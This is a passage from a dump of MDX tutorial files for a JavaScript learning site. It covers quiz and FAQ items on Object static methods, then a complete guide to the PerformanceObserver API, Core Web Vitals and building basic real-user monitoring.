Object.is(NaN, NaN) return true but NaN === NaN returns false?\">\n    **Answer:**\n    \n    `===` follows IEEE 754 floating-point rules where NaN is not equal to anything, including itself. This is technically correct for numeric comparison but often counterintuitive.\n    \n    `Object.is()` uses \"same-value equality\" which treats NaN as equal to NaN, matching what most developers expect.\n    \n    ```javascript\n    NaN === NaN           // false (IEEE 754 rule)\n    Object.is(NaN, NaN)   // true (same-value equality)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Why should you use Object.hasOwn() instead of hasOwnProperty()?\">\n    **Answer:**\n    \n    Two reasons:\n    \n    1. **Null-prototype objects** don't have `hasOwnProperty`:\n    ```javascript\n    const obj = Object.create(null)\n    obj.hasOwnProperty('key')  // TypeError!\n    Object.hasOwn(obj, 'key')  // Works fine\n    ```\n    \n    2. **Objects can override hasOwnProperty**:\n    ```javascript\n    const obj = { hasOwnProperty: () => false }\n    obj.hasOwnProperty('hasOwnProperty')  // false (wrong!)\n    Object.hasOwn(obj, 'hasOwnProperty')  // true (correct!)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"How do you transform all keys of an object to uppercase?\">\n    **Answer:**\n    \n    Use `Object.entries()`, `map()`, and `Object.fromEntries()`:\n    \n    ```javascript\n    const obj = { name: 'Alice', age: 30 }\n    \n    const upperKeys = Object.fromEntries(\n      Object.entries(obj).map(([key, value]) => [key.toUpperCase(), value])\n    )\n    \n    console.log(upperKeys)  // { NAME: 'Alice', AGE: 30 }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What does Object.groupBy() return and when was it added?\">\n    **Answer:**\n    \n    `Object.groupBy()` returns a null-prototype object where each property is an array of elements that match that group key. It was added in ES2024 (March 2024).\n    \n    ```javascript\n    const items = [\n      { type: 'fruit', name: 'apple' },\n      { type: 'fruit', name: 'banana' },\n      { type: 'veggie', name: 'carrot' }\n    ]\n    \n    const grouped = Object.groupBy(items, item => item.type)\n    // {\n    //   fruit: [{ type: 'fruit', name: 'apple' }, { type: 'fruit', name: 'banana' }],\n    //   veggie: [{ type: 'veggie', name: 'carrot' }]\n    // }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between Object.keys() and Object.entries()?\">\n    `Object.keys()` returns an array of property names (strings), while `Object.entries()` returns an array of `[key, value]` pairs. Use `Object.keys()` when you only need property names. Use `Object.entries()` when you need both keys and values, especially for transformations with `Object.fromEntries()`.\n  </Accordion>\n\n  <Accordion title=\"How do you deep clone an object in JavaScript?\">\n    Use `structuredClone()`, which was added to all major browsers and Node.js in 2022. It creates a true deep copy that handles nested objects, circular references, `Date`, `Map`, and `Set` objects. The older `JSON.parse(JSON.stringify(obj))` workaround fails with these types and cannot handle functions.\n  </Accordion>\n\n  <Accordion title=\"What is Object.groupBy() and when was it introduced?\">\n    `Object.groupBy()` groups array elements by a callback function's return value, creating an object where each key maps to an array of matching items. It was standardized in ES2024 (March 2024). According to MDN, check browser compatibility before using in production without a polyfill.\n  </Accordion>\n\n  <Accordion title=\"Why should I use Object.hasOwn() instead of hasOwnProperty()?\">\n    `Object.hasOwn()` is safer in two cases: it works on null-prototype objects (where `hasOwnProperty` does not exist), and it cannot be overridden by a property of the same name on the object. MDN recommends it as the standard replacement for `hasOwnProperty()` in all modern JavaScript code.\n  </Accordion>\n\n  <Accordion title=\"Does Object.assign() create a deep copy of nested objects?\">\n    No. `Object.assign()` performs a shallow copy — only the top-level properties are copied. Nested objects are still shared by reference, meaning changes to nested properties in the copy affect the original. For independent nested copies, use `structuredClone()` instead.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Property Descriptors\" icon=\"sliders\" href=\"/beyond/concepts/property-descriptors\">\n    Control property behavior with writable, enumerable, and configurable flags.\n  </Card>\n  <Card title=\"Getters & Setters\" icon=\"arrows-rotate\" href=\"/beyond/concepts/getters-setters\">\n    Create computed properties that run code on access.\n  </Card>\n  <Card title=\"Proxy & Reflect\" icon=\"shield\" href=\"/beyond/concepts/proxy-reflect\">\n    Intercept and customize fundamental object operations.\n  </Card>\n  <Card title=\"Object Creation & Prototypes\" icon=\"sitemap\" href=\"/concepts/object-creation-prototypes\">\n    Different ways to create objects and how inheritance works.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Object — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object\">\n    Complete reference for the Object constructor and all its static methods.\n  </Card>\n  <Card title=\"Object.keys() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys\">\n    Official documentation for extracting object keys as an array.\n  </Card>\n  <Card title=\"Object.groupBy() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/groupBy\">\n    Reference for the new ES2024 grouping method with browser compatibility info.\n  </Card>\n  <Card title=\"structuredClone() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone\">\n    Documentation for deep cloning with the structured clone algorithm.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Object.keys, values, entries — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/keys-values-entries\">\n    Clear explanation of the iteration trio with practical exercises. Covers the difference between plain objects and Map/Set iteration methods.\n  </Card>\n  <Card title=\"Deep-copying in JavaScript using structuredClone — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/structured-clone\">\n    Explains why structuredClone() was added and how it compares to JSON.parse/stringify. Includes performance considerations and limitations.\n  </Card>\n  <Card title=\"Object.hasOwn() — Better than hasOwnProperty\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwn\">\n    MDN's explanation of why hasOwn() is preferred, with examples of edge cases where hasOwnProperty() fails.\n  </Card>\n  <Card title=\"Working with Objects — MDN Guide\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_objects\">\n    Comprehensive MDN guide covering object fundamentals, methods, and common patterns.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Object Methods You Should Know — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Jb3lsNAAXOE\">\n    Quick overview of essential Object methods with clear examples. Great for visual learners who want a fast introduction.\n  </Card>\n  <Card title=\"Deep Clone vs Shallow Clone — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=4Ej0LwjCDZQ\">\n    Concise explanation of cloning strategies in JavaScript. Covers the gotchas of shallow copying and when you need structuredClone().\n  </Card>\n  <Card title=\"Object.groupBy() in JavaScript — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=mIivxRMXDMw\">\n    Tutorial on the new ES2024 groupBy method with practical use cases for data organization.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/performance-observer.mdx",
    "content": "---\ntitle: \"PerformanceObserver in JS\"\nsidebarTitle: \"Performance Observer\"\ndescription: \"Learn the Performance Observer API in JavaScript. Measure page performance, track Long Tasks, and collect Core Web Vitals metrics.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Observer APIs\"\n\"article:tag\": \"performanceobserver, core web vitals, long tasks, performance metrics, page speed\"\n---\n\nHow do you know if your website is actually fast for real users? You might run Lighthouse once, but what about the thousands of visitors with different devices, network conditions, and usage patterns? Without real-time performance monitoring, you're flying blind.\n\n```javascript\n// Monitor every resource loaded on your page\nconst observer = new PerformanceObserver((list) => {\n  list.getEntries().forEach((entry) => {\n    console.log(`${entry.name}: ${entry.duration.toFixed(2)}ms`)\n  })\n})\n\nobserver.observe({ type: 'resource', buffered: true })\n\n// Output:\n// https://example.com/app.js: 245.30ms\n// https://example.com/styles.css: 89.50ms\n// https://example.com/hero.webp: 412.80ms\n```\n\nThe **[Performance Observer API](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver)** lets you monitor performance metrics as they happen in real-time. Instead of polling for data, you subscribe to specific performance events and get notified when they occur. According to [web.dev](https://web.dev/articles/custom-metrics), this is the foundation of Real User Monitoring (RUM) and how tools like Google Analytics measure Core Web Vitals.\n\n<Info>\n**What you'll learn in this guide:**\n- What Performance Observer is and why it replaced older APIs\n- The different entry types you can observe (resource, paint, longtask, etc.)\n- How to measure Core Web Vitals (LCP, CLS, INP, FCP, TTFB)\n- Using the `buffered` option to capture historical entries\n- Building a simple Real User Monitoring (RUM) solution\n- Common patterns and best practices for production\n- The web-vitals library for simplified metrics collection\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes familiarity with [Callbacks](/concepts/callbacks) and the [Event Loop](/concepts/event-loop). Performance Observer uses callback-based subscriptions and interacts with the browser's timing mechanisms.\n</Warning>\n\n---\n\n## What is Performance Observer?\n\n**Performance Observer** is a browser API that asynchronously observes performance measurement events and notifies you when new performance entries are recorded in the browser's performance timeline. It provides a non-blocking way to collect performance metrics without impacting the user experience.\n\nThink of Performance Observer like a security camera system. Instead of constantly checking every room for activity (polling), cameras automatically record and alert you when motion is detected. Similarly, Performance Observer automatically notifies your code when performance events occur, without you having to repeatedly ask \"did anything happen yet?\"\n\n```javascript\n// Create an observer with a callback function\nconst observer = new PerformanceObserver((list, observer) => {\n  // Called whenever new performance entries are recorded\n  const entries = list.getEntries()\n  \n  entries.forEach((entry) => {\n    console.log(`Entry type: ${entry.entryType}`)\n    console.log(`Name: ${entry.name}`)\n    console.log(`Start time: ${entry.startTime}`)\n    console.log(`Duration: ${entry.duration}`)\n  })\n})\n\n// Start observing specific entry types\nobserver.observe({ entryTypes: ['resource', 'navigation'] })\n```\n\n### Why Performance Observer Exists\n\nBefore Performance Observer, developers used three methods on the `performance` object:\n\n```javascript\n// ❌ OLD WAY: Polling-based approaches\nperformance.getEntries()           // Get all entries\nperformance.getEntriesByName(name) // Get entries by name\nperformance.getEntriesByType(type) // Get entries by type\n\n// Problems:\n// 1. You have to keep calling these methods (polling)\n// 2. You might miss entries between polls\n// 3. No way to know when new entries are added\n// 4. Blocks the main thread while processing\n```\n\nPerformance Observer solves these problems:\n\n```javascript\n// ✅ NEW WAY: Event-driven approach\nconst observer = new PerformanceObserver((list) => {\n  // Automatically called when new entries are recorded\n  list.getEntries().forEach(processEntry)\n})\n\nobserver.observe({ type: 'resource', buffered: true })\n\n// Benefits:\n// 1. Non-blocking - callbacks fire during idle time\n// 2. Never miss entries - you're notified automatically\n// 3. Better performance - no polling overhead\n// 4. Can capture entries that happened before observing\n```\n\n<CardGroup cols={2}>\n  <Card title=\"Performance Observer — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver\">\n    Complete API reference with methods, properties, and browser compatibility\n  </Card>\n  <Card title=\"Performance API Overview — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Performance_API\">\n    Understanding the broader Performance API ecosystem\n  </Card>\n</CardGroup>\n\n---\n\n## Performance Entry Types\n\nPerformance Observer can observe many different types of entries. Each type captures specific performance data:\n\n```javascript\n// Check which entry types your browser supports\nconsole.log(PerformanceObserver.supportedEntryTypes)\n\n// Output (Chrome):\n// ['element', 'event', 'first-input', 'largest-contentful-paint',\n//  'layout-shift', 'longtask', 'mark', 'measure', 'navigation',\n//  'paint', 'resource', 'visibility-state']\n```\n\n### Entry Type Reference\n\n| Entry Type | Description | Use Case |\n|------------|-------------|----------|\n| `resource` | Network requests for scripts, styles, images, etc. | Track asset loading times |\n| `navigation` | Page navigation timing | Measure page load performance |\n| `paint` | First Paint and First Contentful Paint | Track rendering milestones |\n| `largest-contentful-paint` | LCP metric (Core Web Vital) | Measure loading performance |\n| `layout-shift` | Visual stability changes | Calculate CLS (Core Web Vital) |\n| `longtask` | Tasks blocking main thread >50ms | Identify performance bottlenecks |\n| `first-input` | First user interaction timing | Measure FID (deprecated, use INP) |\n| `event` | User interaction events | Calculate INP (Core Web Vital) |\n| `mark` | Custom performance marks | Create custom timing points |\n| `measure` | Custom performance measures | Measure custom code sections |\n\n### Observing Resource Timing\n\nResource timing tells you exactly how long each network request takes:\n\n```javascript\nconst resourceObserver = new PerformanceObserver((list) => {\n  list.getEntries().forEach((entry) => {\n    // Basic timing\n    console.log(`Resource: ${entry.name}`)\n    console.log(`Duration: ${entry.duration}ms`)\n    \n    // Detailed breakdown\n    const dns = entry.domainLookupEnd - entry.domainLookupStart\n    const tcp = entry.connectEnd - entry.connectStart\n    const ttfb = entry.responseStart - entry.requestStart\n    const download = entry.responseEnd - entry.responseStart\n    \n    console.log(`DNS lookup: ${dns}ms`)\n    console.log(`TCP connection: ${tcp}ms`)\n    console.log(`Time to First Byte: ${ttfb}ms`)\n    console.log(`Download: ${download}ms`)\n  })\n})\n\nresourceObserver.observe({ type: 'resource', buffered: true })\n```\n\n### Observing Navigation Timing\n\nNavigation timing captures the full page load lifecycle:\n\n```javascript\nconst navObserver = new PerformanceObserver((list) => {\n  const entry = list.getEntries()[0] // Only one navigation entry per page\n  \n  // Key metrics\n  const dns = entry.domainLookupEnd - entry.domainLookupStart\n  const tcp = entry.connectEnd - entry.connectStart\n  const ttfb = entry.responseStart - entry.startTime\n  const domParsing = entry.domInteractive - entry.responseEnd\n  const domComplete = entry.domComplete - entry.startTime\n  const loadComplete = entry.loadEventEnd - entry.startTime\n  \n  console.log(`DNS: ${dns}ms`)\n  console.log(`TCP: ${tcp}ms`)\n  console.log(`TTFB: ${ttfb}ms`)\n  console.log(`DOM Parsing: ${domParsing}ms`)\n  console.log(`DOM Complete: ${domComplete}ms`)\n  console.log(`Full Load: ${loadComplete}ms`)\n})\n\nnavObserver.observe({ type: 'navigation', buffered: true })\n```\n\n### Observing Paint Timing\n\nPaint timing tracks when the browser first renders content:\n\n```javascript\nconst paintObserver = new PerformanceObserver((list) => {\n  list.getEntries().forEach((entry) => {\n    console.log(`${entry.name}: ${entry.startTime}ms`)\n  })\n})\n\npaintObserver.observe({ type: 'paint', buffered: true })\n\n// Output:\n// first-paint: 245.5ms\n// first-contentful-paint: 312.8ms\n```\n\n---\n\n## Measuring Core Web Vitals\n\nCore Web Vitals are Google's essential metrics for user experience. According to the [Chrome User Experience Report](https://developer.chrome.com/docs/crux/), sites meeting all three Core Web Vitals thresholds see 24% fewer page abandonment rates. Performance Observer is how you measure them in the field.\n\n### Largest Contentful Paint (LCP)\n\nLCP measures loading performance — specifically, when the largest content element becomes visible.\n\n```javascript\n// Measure LCP (target: < 2.5 seconds)\nconst lcpObserver = new PerformanceObserver((list) => {\n  const entries = list.getEntries()\n  // LCP can change until user interacts, so always use the latest\n  const lastEntry = entries[entries.length - 1]\n  \n  console.log(`LCP: ${lastEntry.startTime}ms`)\n  console.log(`Element:`, lastEntry.element)\n  console.log(`Size: ${lastEntry.size}`)\n  \n  // Rate the score\n  if (lastEntry.startTime <= 2500) {\n    console.log('Rating: Good')\n  } else if (lastEntry.startTime <= 4000) {\n    console.log('Rating: Needs Improvement')\n  } else {\n    console.log('Rating: Poor')\n  }\n})\n\nlcpObserver.observe({ type: 'largest-contentful-paint', buffered: true })\n```\n\n### Cumulative Layout Shift (CLS)\n\nCLS measures visual stability — how much the page layout shifts unexpectedly.\n\n```javascript\n// Measure CLS (target: < 0.1)\nlet clsValue = 0\n\nconst clsObserver = new PerformanceObserver((list) => {\n  list.getEntries().forEach((entry) => {\n    // Only count shifts without recent user input\n    if (!entry.hadRecentInput) {\n      clsValue += entry.value\n      console.log(`Layout shift: ${entry.value}`)\n      console.log(`Cumulative CLS: ${clsValue}`)\n    }\n  })\n})\n\nclsObserver.observe({ type: 'layout-shift', buffered: true })\n\n// Report final CLS when page is hidden\ndocument.addEventListener('visibilitychange', () => {\n  if (document.visibilityState === 'hidden') {\n    console.log(`Final CLS: ${clsValue}`)\n    // Send to analytics\n  }\n})\n```\n\n### Interaction to Next Paint (INP)\n\nINP measures responsiveness — the latency of user interactions.\n\n```javascript\n// Measure INP (target: < 200ms)\nlet maxINP = 0\n\nconst inpObserver = new PerformanceObserver((list) => {\n  list.getEntries().forEach((entry) => {\n    // Track the worst interaction\n    if (entry.duration > maxINP) {\n      maxINP = entry.duration\n      console.log(`New worst interaction: ${maxINP}ms`)\n      console.log(`Event type: ${entry.name}`)\n    }\n  })\n})\n\n// durationThreshold filters out fast interactions\ninpObserver.observe({ \n  type: 'event', \n  buffered: true,\n  durationThreshold: 40 // Only report interactions > 40ms\n})\n```\n\n### First Contentful Paint (FCP)\n\nFCP measures when the first content appears on screen.\n\n```javascript\n// Measure FCP (target: < 1.8 seconds)\nconst fcpObserver = new PerformanceObserver((list) => {\n  const fcp = list.getEntries().find(entry => entry.name === 'first-contentful-paint')\n  \n  if (fcp) {\n    console.log(`FCP: ${fcp.startTime}ms`)\n    \n    if (fcp.startTime <= 1800) {\n      console.log('Rating: Good')\n    } else if (fcp.startTime <= 3000) {\n      console.log('Rating: Needs Improvement')\n    } else {\n      console.log('Rating: Poor')\n    }\n  }\n})\n\nfcpObserver.observe({ type: 'paint', buffered: true })\n```\n\n### Time to First Byte (TTFB)\n\nTTFB measures server response time.\n\n```javascript\n// Measure TTFB (target: < 800ms)\nconst ttfbObserver = new PerformanceObserver((list) => {\n  const entry = list.getEntries()[0]\n  const ttfb = entry.responseStart - entry.startTime\n  \n  console.log(`TTFB: ${ttfb}ms`)\n  \n  // Breakdown\n  const dns = entry.domainLookupEnd - entry.domainLookupStart\n  const connection = entry.connectEnd - entry.connectStart\n  const waiting = entry.responseStart - entry.requestStart\n  \n  console.log(`DNS: ${dns}ms`)\n  console.log(`Connection: ${connection}ms`)\n  console.log(`Server wait: ${waiting}ms`)\n})\n\nttfbObserver.observe({ type: 'navigation', buffered: true })\n```\n\n---\n\n## The Buffered Option\n\nThe `buffered` option is crucial for capturing performance entries that occurred before your observer started listening.\n\n```javascript\n// Without buffered: Only see entries AFTER observe() is called\nobserver.observe({ type: 'resource' })\n\n// With buffered: Also get entries that already happened\nobserver.observe({ type: 'resource', buffered: true })\n```\n\n### Why Buffered Matters\n\nConsider this scenario:\n\n```javascript\n// Your performance script loads at 2000ms\n// But images loaded at 500ms, 800ms, and 1200ms\n\n// Without buffered: You miss all those image timings!\n// With buffered: You get all historical entries in the first callback\n```\n\n### How Buffered Works\n\n```javascript\nconst observer = new PerformanceObserver((list, obs) => {\n  const entries = list.getEntries()\n  console.log(`Received ${entries.length} entries`)\n  \n  entries.forEach(entry => {\n    console.log(`${entry.name} at ${entry.startTime}ms`)\n  })\n})\n\n// First callback will include ALL resource entries since page load\nobserver.observe({ type: 'resource', buffered: true })\n```\n\n<Warning>\n**Buffer Limits:** The browser only keeps a limited number of entries in the buffer. For high-volume entry types like `resource`, very old entries may be dropped. Always set up observers as early as possible.\n</Warning>\n\n---\n\n## Custom Performance Marks and Measures\n\nYou can create your own timing points using marks and measures:\n\n```javascript\n// Create custom timing points\nperformance.mark('api-call-start')\n\nawait fetch('/api/users')\n\nperformance.mark('api-call-end')\n\n// Measure the duration between marks\nperformance.measure('api-call', 'api-call-start', 'api-call-end')\n\n// Observe custom measures\nconst customObserver = new PerformanceObserver((list) => {\n  list.getEntries().forEach(entry => {\n    console.log(`${entry.name}: ${entry.duration}ms`)\n  })\n})\n\ncustomObserver.observe({ type: 'measure', buffered: true })\n\n// Output: api-call: 245.3ms\n```\n\n### Practical Custom Metrics\n\n```javascript\n// Measure component render time\nfunction measureRender(componentName, renderFn) {\n  performance.mark(`${componentName}-start`)\n  renderFn()\n  performance.mark(`${componentName}-end`)\n  performance.measure(componentName, `${componentName}-start`, `${componentName}-end`)\n}\n\n// Measure time to interactive for specific features\nperformance.mark('search-ready')\ninitSearchComponent()\nperformance.mark('search-interactive')\nperformance.measure('search-init', 'search-ready', 'search-interactive')\n\n// Measure user flows\nperformance.mark('checkout-start')\n// ... user completes checkout ...\nperformance.mark('checkout-complete')\nperformance.measure('checkout-flow', 'checkout-start', 'checkout-complete')\n```\n\n---\n\n## Tracking Long Tasks\n\nLong Tasks are JavaScript tasks that block the main thread for more than 50ms. They directly impact responsiveness.\n\n```javascript\n// Detect tasks blocking the main thread\nconst longTaskObserver = new PerformanceObserver((list) => {\n  list.getEntries().forEach(entry => {\n    console.warn(`Long task detected!`)\n    console.log(`Duration: ${entry.duration}ms`)\n    console.log(`Start time: ${entry.startTime}ms`)\n    \n    // Attribution shows what caused the long task\n    if (entry.attribution && entry.attribution.length > 0) {\n      const attribution = entry.attribution[0]\n      console.log(`Container: ${attribution.containerType}`)\n      console.log(`Source: ${attribution.containerSrc}`)\n    }\n  })\n})\n\nlongTaskObserver.observe({ type: 'longtask', buffered: true })\n```\n\n### Why Long Tasks Matter\n\n```\nUser clicks button\n    │\n    ▼\n┌─────────────────────────────────────────┐\n│         Long Task (150ms)               │\n│  ┌───────────────────────────────────┐  │\n│  │   Your heavy JavaScript code      │  │\n│  └───────────────────────────────────┘  │\n└─────────────────────────────────────────┘\n    │\n    ▼\nBrowser finally responds (150ms later)\n```\n\nIf a task takes 150ms, the user waits 150ms for any response. That feels slow!\n\n---\n\n## Building a Simple RUM Solution\n\nHere's how to build a basic Real User Monitoring solution using Performance Observer:\n\n```javascript\n// Simple RUM implementation\nclass PerformanceMonitor {\n  constructor(endpoint = '/analytics') {\n    this.endpoint = endpoint\n    this.metrics = {}\n    this.observers = []\n    \n    this.init()\n  }\n  \n  init() {\n    // Observe LCP\n    this.observe('largest-contentful-paint', (entries) => {\n      const lastEntry = entries[entries.length - 1]\n      this.metrics.lcp = lastEntry.startTime\n    })\n    \n    // Observe CLS\n    this.metrics.cls = 0\n    this.observe('layout-shift', (entries) => {\n      entries.forEach(entry => {\n        if (!entry.hadRecentInput) {\n          this.metrics.cls += entry.value\n        }\n      })\n    })\n    \n    // Observe FCP\n    this.observe('paint', (entries) => {\n      const fcp = entries.find(e => e.name === 'first-contentful-paint')\n      if (fcp) {\n        this.metrics.fcp = fcp.startTime\n      }\n    })\n    \n    // Observe Navigation\n    this.observe('navigation', (entries) => {\n      const nav = entries[0]\n      this.metrics.ttfb = nav.responseStart - nav.startTime\n      this.metrics.domContentLoaded = nav.domContentLoadedEventEnd - nav.startTime\n      this.metrics.load = nav.loadEventEnd - nav.startTime\n    })\n    \n    // Report when page is hidden\n    document.addEventListener('visibilitychange', () => {\n      if (document.visibilityState === 'hidden') {\n        this.report()\n      }\n    })\n  }\n  \n  observe(type, callback) {\n    try {\n      const observer = new PerformanceObserver((list) => {\n        callback(list.getEntries())\n      })\n      observer.observe({ type, buffered: true })\n      this.observers.push(observer)\n    } catch (e) {\n      console.warn(`${type} not supported`)\n    }\n  }\n  \n  report() {\n    const body = JSON.stringify({\n      url: window.location.href,\n      timestamp: Date.now(),\n      metrics: this.metrics\n    })\n    \n    // Use sendBeacon for reliable delivery\n    if (navigator.sendBeacon) {\n      navigator.sendBeacon(this.endpoint, body)\n    } else {\n      fetch(this.endpoint, { \n        method: 'POST', \n        body,\n        keepalive: true \n      })\n    }\n  }\n  \n  disconnect() {\n    this.observers.forEach(obs => obs.disconnect())\n  }\n}\n\n// Usage\nconst monitor = new PerformanceMonitor('/api/analytics')\n```\n\n---\n\n## Using the web-vitals Library\n\nFor production use, Google's [web-vitals](https://github.com/GoogleChrome/web-vitals) library handles all the edge cases:\n\n```javascript\nimport { onCLS, onINP, onLCP, onFCP, onTTFB } from 'web-vitals'\n\nfunction sendToAnalytics(metric) {\n  const body = JSON.stringify({\n    name: metric.name,\n    value: metric.value,\n    rating: metric.rating,  // 'good' | 'needs-improvement' | 'poor'\n    delta: metric.delta,\n    id: metric.id,\n    navigationType: metric.navigationType\n  })\n  \n  navigator.sendBeacon('/analytics', body)\n}\n\n// Measure all Core Web Vitals\nonCLS(sendToAnalytics)\nonINP(sendToAnalytics)\nonLCP(sendToAnalytics)\nonFCP(sendToAnalytics)\nonTTFB(sendToAnalytics)\n```\n\n### Why Use web-vitals?\n\n```javascript\n// web-vitals handles edge cases you'd forget:\n\n// 1. LCP can change until first user input\n// 2. CLS needs session windowing for accurate scores\n// 3. INP needs to track all interactions, not just first\n// 4. Proper handling of bfcache navigations\n// 5. Correct timing for prerendered pages\n// 6. Delta values for analytics deduplication\n```\n\n<CardGroup cols={2}>\n  <Card title=\"web-vitals Library\" icon=\"github\" href=\"https://github.com/GoogleChrome/web-vitals\">\n    Production-ready library for measuring Core Web Vitals accurately\n  </Card>\n  <Card title=\"Web Vitals Thresholds — web.dev\" icon=\"gauge\" href=\"https://web.dev/articles/vitals\">\n    Official thresholds and guidelines for LCP, CLS, and INP\n  </Card>\n</CardGroup>\n\n---\n\n## Observer Methods\n\n### observe()\n\nStart observing performance entries:\n\n```javascript\n// Observe single type (preferred)\nobserver.observe({ type: 'resource', buffered: true })\n\n// Observe multiple types (legacy)\nobserver.observe({ entryTypes: ['resource', 'navigation'] })\n```\n\n<Warning>\n**Note:** When using `entryTypes`, you cannot use `buffered` or `durationThreshold`. Use the single `type` option for more control.\n</Warning>\n\n### disconnect()\n\nStop observing and clean up:\n\n```javascript\n// Stop all observation\nobserver.disconnect()\n\n// Common pattern: disconnect after getting what you need\nconst observer = new PerformanceObserver((list, obs) => {\n  const fcp = list.getEntries().find(e => e.name === 'first-contentful-paint')\n  if (fcp) {\n    console.log('FCP:', fcp.startTime)\n    obs.disconnect()  // No longer need to observe\n  }\n})\n\nobserver.observe({ type: 'paint', buffered: true })\n```\n\n### takeRecords()\n\nGet pending entries and clear the buffer:\n\n```javascript\nconst observer = new PerformanceObserver((list) => {\n  // Normal processing\n})\n\nobserver.observe({ type: 'resource', buffered: true })\n\n// Later: Get any entries that haven't triggered callback yet\nconst pendingEntries = observer.takeRecords()\nconsole.log('Pending entries:', pendingEntries)\n```\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Not Using Buffered\n\n```javascript\n// ❌ WRONG: Misses entries that occurred before observe()\nconst observer = new PerformanceObserver((list) => {\n  // Might never receive LCP if it already happened!\n})\nobserver.observe({ type: 'largest-contentful-paint' })\n\n// ✅ CORRECT: Capture historical entries\nobserver.observe({ type: 'largest-contentful-paint', buffered: true })\n```\n\n### Mistake 2: Not Handling Page Visibility\n\n```javascript\n// ❌ WRONG: Never reports if user closes tab\nconst observer = new PerformanceObserver((list) => {\n  // Data lost when page closes\n})\n\n// ✅ CORRECT: Report when page is hidden\ndocument.addEventListener('visibilitychange', () => {\n  if (document.visibilityState === 'hidden') {\n    sendMetricsToServer()\n  }\n})\n```\n\n### Mistake 3: Using Wrong Report Method\n\n```javascript\n// ❌ WRONG: fetch() might be cancelled when page unloads\nwindow.addEventListener('beforeunload', () => {\n  fetch('/analytics', { method: 'POST', body: data })\n})\n\n// ✅ CORRECT: sendBeacon() is designed for this\nwindow.addEventListener('visibilitychange', () => {\n  if (document.visibilityState === 'hidden') {\n    navigator.sendBeacon('/analytics', data)\n  }\n})\n```\n\n### Mistake 4: Not Checking Browser Support\n\n```javascript\n// ❌ WRONG: Crashes in older browsers\nconst observer = new PerformanceObserver(callback)\n\n// ✅ CORRECT: Check support first\nif ('PerformanceObserver' in window) {\n  const observer = new PerformanceObserver(callback)\n  \n  // Also check specific entry type support\n  if (PerformanceObserver.supportedEntryTypes.includes('largest-contentful-paint')) {\n    observer.observe({ type: 'largest-contentful-paint', buffered: true })\n  }\n}\n```\n\n### Mistake 5: Observing in Production Without Sampling\n\n```javascript\n// ❌ WRONG: Every user sends data = massive traffic\nconst observer = new PerformanceObserver((list) => {\n  sendToAnalytics(list.getEntries())  // Called for every user\n})\n\n// ✅ CORRECT: Sample a percentage of users\nconst shouldSample = Math.random() < 0.1  // 10% of users\n\nif (shouldSample) {\n  const observer = new PerformanceObserver((list) => {\n    sendToAnalytics(list.getEntries())\n  })\n  observer.observe({ type: 'resource', buffered: true })\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Performance Observer is event-driven** — It notifies you when performance entries are recorded, instead of requiring you to poll for data.\n\n2. **Always use `buffered: true`** — This captures entries that occurred before your observer started listening. Essential for metrics like LCP and FCP.\n\n3. **Core Web Vitals are measurable** — LCP (loading), CLS (visual stability), and INP (interactivity) can all be measured with Performance Observer.\n\n4. **Use `sendBeacon()` for reporting** — It's designed to reliably send data even when the page is closing. Always report on `visibilitychange`.\n\n5. **Check browser support** — Use `PerformanceObserver.supportedEntryTypes` to verify which entry types are available.\n\n6. **Use web-vitals in production** — Google's library handles edge cases like session windowing, bfcache, and prerendering that are easy to get wrong.\n\n7. **Long tasks hurt responsiveness** — Tasks blocking the main thread >50ms directly impact user experience. Monitor them!\n\n8. **Custom marks and measures** — Use `performance.mark()` and `performance.measure()` to track application-specific timings.\n\n9. **Sample in production** — Don't send analytics data for every user. Sample a percentage to manage traffic.\n\n10. **Clean up observers** — Call `disconnect()` when you no longer need to observe, especially in SPAs where components unmount.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between using `type` vs `entryTypes` in observe()?\">\n    **Answer:**\n    \n    - **`type`** (single string): Preferred modern approach. Lets you use additional options like `buffered` and `durationThreshold`.\n    \n    - **`entryTypes`** (array): Legacy approach for observing multiple types with one observer. Cannot use `buffered` or `durationThreshold`.\n    \n    ```javascript\n    // Modern (preferred)\n    observer.observe({ type: 'resource', buffered: true })\n    \n    // Legacy (limited options)\n    observer.observe({ entryTypes: ['resource', 'navigation'] })\n    ```\n    \n  